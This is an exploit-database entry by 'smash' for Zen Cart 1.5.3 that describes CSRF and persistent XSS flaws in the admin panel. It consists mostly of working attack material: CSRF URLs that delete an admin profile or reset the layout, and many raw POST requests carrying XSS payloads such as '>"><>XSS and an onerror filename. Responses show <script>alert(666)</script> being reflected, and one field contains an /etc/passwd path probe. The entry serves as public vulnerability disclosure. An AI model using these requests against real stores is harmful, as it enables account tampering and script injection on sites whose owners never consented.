发布 2014-09-08 漏洞条目

Zen Cart 1.5.3 – Multiple Vulnerabilities

Exploit Source

#Title: Zen Cart 1.5.3 - CSRF & Admin Panel XSS

#Date: 09.07.14

#Vendor: zen-cart.com

#Tested on: Apache 2.2 [at] Linux

#Contact: smash[at]devilteam.pl

#1 - CSRF

- Delete admin

GET profile stands for user id.

localhost/zen/zen-cart-v1.5.3-07042014/admin123/profiles.php?action=delete&profile=2

- Reset layout boxes to default

localhost/zen/zen-cart-v1.5.3-07042014/admin123/layout_controller.php?page=&cID=74&action=reset_defaults

#2 - Persistent XSS in admin panel

Since admin privileges are required to execute following vulnerablities this is not a serious threat.

- Extras -> Media types -> Add

Vulnerable parameters - type_name & type_exit

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/media_types.php?page=1&mID=2&action=save HTTP/1.1

Host: localhost

Content-Type: multipart/form-data; boundary=---------------------------4978676881674017321390852339

Content-Length: 663

-----------------------------4978676881674017321390852339

Content-Disposition: form-data; name="securityToken"

b98019227f8014aed6d22b02f0748d11

-----------------------------4978676881674017321390852339

Content-Disposition: form-data; name="type_name"

<h1>sup<!--

-----------------------------4978676881674017321390852339

Content-Disposition: form-data; name="type_ext"

sup<>

-----------------------------4978676881674017321390852339

Content-Disposition: form-data; name="x"

-----------------------------4978676881674017321390852339

Content-Disposition: form-data; name="y"

-----------------------------4978676881674017321390852339--

Response:

(...)

(...)

- Extras -> Media manager -> Add

Vulnerable parameter - media_name

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/media_manager.php?page=1&mID=1&action=save HTTP/1.1

Host: localhost

Content-Type: multipart/form-data; boundary=---------------------------1835318161847256146721022401

Content-Length: 5633

-----------------------------1835318161847256146721022401

Content-Disposition: form-data; name="securityToken"

b98019227f8014aed6d22b02f0748d11

-----------------------------1835318161847256146721022401

Content-Disposition: form-data; name="media_name"

-----------------------------1835318161847256146721022401

Content-Disposition: form-data; name="x"

-----------------------------1835318161847256146721022401

Content-Disposition: form-data; name="y"

-----------------------------1835318161847256146721022401

Content-Disposition: form-data; name="clip_filename"; filename="cat.png"

Content-Type: image/png

(image)

-----------------------------1835318161847256146721022401

Content-Disposition: form-data; name="media_dir"

-----------------------------1835318161847256146721022401

Content-Disposition: form-data; name="media_type"

-----------------------------1835318161847256146721022401--

Response:

(...)

<td class="dataTableContent"><script>alert(666)</script></td>

(...)

<td class="infoBoxHeading"><strong><script>alert(666)</script></strong></td>

</tr>

- Extras -> Music genre -> Add

Vulenrable parameter - music_genre_name

POST /zen/zen-cart-v1.5.3-07042014/admin123/music_genre.php?action=insert HTTP/1.1

Host: localhost

Content-Type: multipart/form-data; boundary=---------------------------202746648818048680751007920584

Content-Length: 581

-----------------------------202746648818048680751007920584

Content-Disposition: form-data; name="securityToken"

b98019227f8014aed6d22b02f0748d11

-----------------------------202746648818048680751007920584

Content-Disposition: form-data; name="music_genre_name"

-----------------------------202746648818048680751007920584

Content-Disposition: form-data; name="x"

-----------------------------202746648818048680751007920584

Content-Disposition: form-data; name="y"

-----------------------------202746648818048680751007920584--

Response:

(...)

<td class="dataTableContent"><script>alert(666)</script></td>

(...)

<td class="infoBoxHeading"><b><script>alert(666)</script></b></td>

</tr>

(...)

Further vuln:

http://localhost/zen/zen-cart-v1.5.3-07042014/index.php?main_page=index&typefilter=music_genre&music_genre_id=1

Response:

(...)

<div id="navBreadCrumb"> <a href="http://localhost/zen/zen-cart-v1.5.3-07042014/">Home</a>&nbps;::&nbps;

</div>

(...)

- Extras -> Record companies -> Add

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/record_company.php?action=insert HTTP/1.1

Host: localhost

Content-Type: multipart/form-data; boundary=---------------------------19884630671863875697751588711

Content-Length: 5828

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="securityToken"

b98019227f8014aed6d22b02f0748d11

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="record_company_name"

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="record_company_image"; filename="<img src=# onerror=alert(1)>.png"

Content-Type: image/png

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="img_dir"

categories/

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="record_company_image_manual"

/etc/passwd

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="record_company_url[1]"

'>"><>XSS

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="x"

-----------------------------19884630671863875697751588711

Content-Disposition: form-data; name="y"

-----------------------------19884630671863875697751588711--

Response:

(...)

<td class="dataTableContent"><script>alert(666)</script></td>

(...)

<td class="infoBoxHeading"><b><script>alert(666)</script></b></td>

</tr>

(...)

Further vuln:

http://localhost/zen/zen-cart-v1.5.3-07042014/index.php?main_page=index&typefilter=music_genre&music_genre_id=1

Response:

(...)

<div id="navBreadCrumb"> <a href="http://localhost/zen/zen-cart-v1.5.3-07042014/">Home</a>&nbps;::&nbps;

</div>

<h1 id="productListHeading"><script>alert(666)</script></h1>

(...)

- Extras -> Recording Artists -> Add

Vulnerable parameter - artists_name

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/record_artists.php?action=insert HTTP/1.1

Host: localhost

Content-Type: multipart/form-data; boundary=---------------------------14015448418946681711346093460

Content-Length: 1099

-----------------------------14015448418946681711346093460

Content-Disposition: form-data; name="securityToken"

84c8fe52eb9b3b0e026b5438e1c21f6f

-----------------------------14015448418946681711346093460

Content-Disposition: form-data; name="artists_name"

-----------------------------14015448418946681711346093460

(Content-Disposition: form-data; name="artists_image"; filename=""

Content-Type: application/octet-stream

-----------------------------14015448418946681711346093460

Content-Disposition: form-data; name="img_dir"

-----------------------------14015448418946681711346093460

Content-Disposition: form-data; name="artists_image_manual"

-----------------------------14015448418946681711346093460

Content-Disposition: form-data; name="artists_url[1]"

-----------------------------14015448418946681711346093460

Content-Disposition: form-data; name="x"

-----------------------------14015448418946681711346093460

Content-Disposition: form-data; name="y"

-----------------------------14015448418946681711346093460--)

Response:

(...)

<td class="dataTableContent"><script>alert(666)</script></td>

(...)

<td class="infoBoxHeading"><b><script>alert(666)</script></b></td>

</tr>

(...)

- Gift Certificate/Coupons -> Coupon admin -> Add

Vulnerable parameters - coupon_name, coupon_desc, coupon_amount, coupon_min_order, coupon_code, coupon_uses_coupon, coupon_uses_user

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/coupon_admin.php?action=update&oldaction=new&cid=0&page=0 HTTP/1.1

Host: localhost

securityToken=84c8fe52eb9b3b0e026b5438e1c21f6f&coupon_name%5B1%5D=%27%3E%22%3E%3C%3EXSSD&coupon_desc%5B1%5D=%27%3E%22%3E%3C%3EXSSD&coupon_amount=%27%3E%22%3E%3C%3EXSSD&coupon_min_order=%27%3E%22%3E%3C%3EXSSD&coupon_free_ship=on&coupon_code=%27%3E%22%3E%3C%3EXSSD&coupon_uses_coupon=%27%3E%22%3E%3C%3EXSSD&coupon_uses_user=%27%3E%22%3E%3C%3EXSSD&coupon_startdate_day=9&coupon_startdate_month=7&coupon_startdate_year=2014&coupon_finishdate_day=9&coupon_finishdate_month=7&coupon_finishdate_year=2015&coupon_zone_restriction=1&x=62&y=10

Response:

(...)

<tr>

<td align="left">Coupon Name</td>

</tr>

<tr>

<td align="left">Coupon Description <br />(Customer can see)</td>

</tr>

<tr>

<td align="left">Coupon Amount</td>

</tr>

<tr>

<td align="left">Coupon Minimum Order</td>

</tr>

<tr>

<td align="left">Free Shipping</td>

</tr>

<tr>

<td align="left">Coupon Code</td>

</tr>

<tr>

<td align="left">Uses per Coupon</td>

</tr>

<tr>

<td align="left">Uses per Customer</td>

</tr>

(...)

- Gift Certificate/Coupons -> Mail gift certificate -> Send

Vulnerable parameter - email_to

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/gv_mail.php?action=preview HTTP/1.1

Host: localhost

securityToken=84c8fe52eb9b3b0e026b5438e1c21f6f&customers_email_address=Active+customers+in+past+3+months+%28Subscribers%29&email_to=%27%3E%22%3E%3C%3EXSSED&from=szit%40szit.in&subject=asdf&amount=666&message=asdf&x=13&y=12

Response:

(...)

</tr>

<tr>

<td class="smallText"><b>Customer:</b><br />'>"><>XSSED</td>

</tr>

<tr>

(...)

- Tools -> Banner manager -> Add

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/banner_manager.php?page=1&action=add HTTP/1.1

Host: localhost

Content-Type: multipart/form-data; boundary=---------------------------3847719184268426731396009422

Content-Length: 2317

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="securityToken"

84c8fe52eb9b3b0e026b5438e1c21f6f

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="status"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_open_new_windows"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_on_ssl"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_title"

'>"><>XSS

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_url"

'>"><>XSS

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_group"

BannersAll

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="new_banners_group"

'>"><>XSS

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_image"; filename=""

Content-Type: application/octet-stream

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_image_local"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_image_target"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_html_text"

'>"><>XSS

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="banners_sort_order"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="date_scheduled"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="expires_date"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="expires_impressions"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="x"

-----------------------------3847719184268426731396009422

Content-Disposition: form-data; name="y"

-----------------------------3847719184268426731396009422--

Response:

(...)

(...)

</tr>

(...)

- Tools -> Newsletter and Product Notifications Manager -> New newsletter

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/newsletters.php?action=insert HTTP/1.1

Host: localhost

securityToken=93867dff1d912bde757ce2bc0ac94425&module=newsletter&title=%27%3E%22%3E%3C%3EXSS&message_html=%27%3E%22%3E%3C%3EXSS&content=%27%3E%22%3E%3C%3EXSS&x=32&y=8

Response:

(...)

<td class="dataTableContent" align="right">18 bytes</td>

(...)

</tr>

(...)

- Tools -> EZ-Pages -> New file

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/ezpages.php?action=insert HTTP/1.1

Host: localhost

Content-Type: multipart/form-data; boundary=---------------------------134785397313015614741294511591

Content-Length: 2253

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="securityToken"

c74a83cefbb5ffc1868dd4a390bd0880

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="x"

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="y"

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="pages_title"

'>"><>XSS

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="page_open_new_window"

-----------------------------134785397313015614741294511591

(...)

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="pages_html_text"

'>"><>XSS

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="alt_url"

-----------------------------134785397313015614741294511591

Content-Disposition: form-data; name="alt_url_external"

-----------------------------134785397313015614741294511591--

Response:

(...)

(...)

<td class="infoBoxHeading"><b>Title:&nbps;'>"><>XSS&nbps;|&nbps;Prev/Next Chapter:&nbps;0</b></td>

</tr>

(...)

- Localization -> Currencies -> New currency

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/currencies.php?page=1&action=insert HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&title=%27%3E%22%3E%3C%3EXSS&code=%27%3E%22%3E%3C%3EXSS&symbol_left=%27%3E%22%3E%3C%3EXSS&symbol_right=%27%3E%22%3E%3C%3EXSS&decimal_point=%27%3E%22%3E%3C%3EXSS&thousands_point=%27%3E%22%3E%3C%3EXSS&decimal_places=%27%3E%22%3E%3C%3EXSS&value=%27%3E%22%3E%3C%3EXSS&x=13&y=15

Response:

(...)

(...)

</tr>

(...)

<tr>

<td class="infoBoxContent"><br>Title: '>"><>XSS</td>

</tr>

<tr>

</tr>

<tr>

<td class="infoBoxContent"><br>Symbol Left: '>"><>XSS</td>

</tr>

<tr>

<td class="infoBoxContent">Symbol Right: '>"><>XSS</td>

</tr>

(...)

<tr>

<td class="infoBoxContent"><br>Example Output:<br>$30.00 = '>"><>XSS0'>"><>XSS</td>

</tr>

</table>

(...)

<tr>

<td class="infoBoxContent"><br>Example Output:<br>$30.00 = '>"><>XSS0'>"><>XSS</td>

</tr>

- Localization -> Languages -> New language

Affects big part of admin panel.

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/languages.php?action=insert HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&name=%27%3E%22%3E%3C%3EXSS&code=xs&image=icon.gif&directory=%27%3E%22%3E%3C%3EXSS&sort_order=%27%3E%22%3E%3C%3EXSS&x=40&y=20

Response:

(...)

<td class="messageStackCaution"><img src="https://www.exploit-db.com/exploits/34581/images/icons/warning.gif" border="0" alt="Warning" title=" Warning ">&nbps;MISSING LANGUAGE FILES OR DIRECTORIES ... '>"><>XSS '>"><>XSS</td>

</tr>

</table>

(...)

(...)

</tr>

(...)

<tr>

</tr>

<tr>

</tr>

<tr>

<td class="infoBoxContent"><br><img src="http://localhost/zen/zen-cart-v1.5.3-07042014/includes/languages/'>"><>XSS/images/icon.gif" border="0" alt="'>"><>XSS" title=" '>"><>XSS "></td>

</tr>

<tr>

<td class="infoBoxContent"><br>Directory:<br>http://localhost/zen/zen-cart-v1.5.3-07042014/includes/languages/<b>'>"><>XSS</b></td>

</tr>

(...)

Further injection:

http://localhost/zen/zen-cart-v1.5.3-07042014/admin123/orders_status.php

- Localization -> Orders status -> Insert

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/orders_status.php?page=1&action=insert HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&orders_status_name%5B2%5D=%27%3E%22%3E%3C%3EXSS&orders_status_name%5B1%5D=%27%3E%22%3E%3C%3EXSS&x=9&y=7

Response:

(...)

(...)

- Locations / Taxes -> Zones -> New zone

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/zones.php?page=1&action=insert HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&zone_name=%27%3E%22%3E%3C%3EXSS&zone_code=%27%3E%22%3E%3C%3EXSS&zone_country_id=247&x=17&y=11

Response:

(...)

(...)

</tr>

</table>

(...)

<tr>

<td class="infoBoxContent"><br>Zones Name:<br>'>"><>XSS ('>"><>XSS)</td>

</tr>

<tr>

<td class="infoBoxContent"><br>Country: '>"><>XSS</td>

- - Locations / Taxes -> Zone definitions -> Insert

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/geo_zones.php?zpage=1&zID=1&action=insert_zone HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&geo_zone_name=%27%3E%22%3E%3C%3EXSS&geo_zone_description=%27%3E%22%3E%3C%3EXSS&x=25&y=13

Response:

(...)

</a>&nbps;'>"><>XSS</td>

(...)

(...)

<td class="infoBoxContent"><br>Description:<br>'>"><>XSS</td>

- Locations / Taxes -> Tax Classes -> New tax class

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/tax_classes.php?page=1&action=insert HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&tax_class_title=%27%3E%22%3E%3C%3EXSS&tax_class_description=%27%3E%22%3E%3C%3EXSS&x=33&y=9

Response:

(...)

(...)

(...)

<td class="infoBoxContent"><br>Description:<br>'>"><>XSS</td>

(...)

- - Locations / Taxes -> Tax Rates -> New tax rate

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/tax_rates.php?page=1&action=insert HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&tax_class_id=2&tax_zone_id=2&tax_rate=66&tax_description=%27%3E%22%3E%3C%3EXSS&tax_priority=&x=32&y=16

Response:

(...)

(...)

</tr>

(...)

<td class="infoBoxContent"><br>Description:<br>'>"><>XSS</td>

(...)

- Customers -> Group Pricing -> Insert

Request:

POST /zen/zen-cart-v1.5.3-07042014/admin123/group_pricing.php?action=insert HTTP/1.1

Host: localhost

securityToken=c74a83cefbb5ffc1868dd4a390bd0880&group_name=%27%3E%22%3E%3C%3EXSS&group_percentage=%27%3E%22%3E%3C%3EXSS&x=10&y=9

Response:

(...)

(...)

</tr>

(...)

作者: smash
日期: 2014-09-08
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection